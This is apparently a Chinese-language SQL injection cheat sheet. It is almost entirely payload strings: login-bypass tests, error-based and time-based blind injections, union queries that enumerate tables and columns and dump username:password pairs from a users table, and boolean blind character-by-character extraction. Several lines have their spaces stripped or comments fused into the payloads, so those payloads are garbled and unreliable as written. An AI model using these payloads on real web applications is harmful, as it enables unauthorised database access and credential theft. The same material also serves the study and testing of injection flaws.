SQL 注入是最常见的 Web 漏洞之一,攻击者通过在输入中注入恶意 SQL 语句,操纵后端数据库查询。
OWASP Top 10: A03:2021 危害等级: ⭐⭐⭐⭐⭐
漏洞检测
手工检测
# 基础测试
' or '1'='1
" or "1"="1
' or 1=1--
' or 1=1#
') or ('1'='1
# 报错测试
' and extractvalue(rand(),concat(0x7e,version()))--
' and updatexml(1,concat(0x7e,version()),1)--
# 时间盲注测试
' and sleep(5)--
" and sleep(5)--
' and benchmark(10000000,MD5('a'))--
#判断字段数?id=1' order by 3--
?id=1'orderby4-- # 报错,说明字段数是 3
#爆数据库?id=-1' union select 1,database(),3--
# 爆表名
?id=-1'unionselect1,group_concat(table_name),3frominformation_schema.tableswheretable_schema=database()--
#爆列名?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--
# 爆数据
?id=-1'unionselect1,group_concat(username,':',password),3fromusers--
2. 报错注入 (Error Based)
#floor报错' and (select 1 from (select count(*),concat((select database()),floor(rand(0)*2))x from information_schema.tables group by x)a)--
# extractvalue 报错
'andextractvalue(rand(),concat(0x7e,(selectdatabase())))--
#updatexml报错' and updatexml(1,concat(0x7e,(select database())),1)--
3. 布尔盲注 (Boolean Based)
#判断数据库名长度' and length(database())=8--
# 逐字符爆破
'andascii(substr(database(),1,1))=115-- # s
' and ascii(substr(database(),2,1))=101-- # e
'andascii(substr(database(),3,1))=99-- # c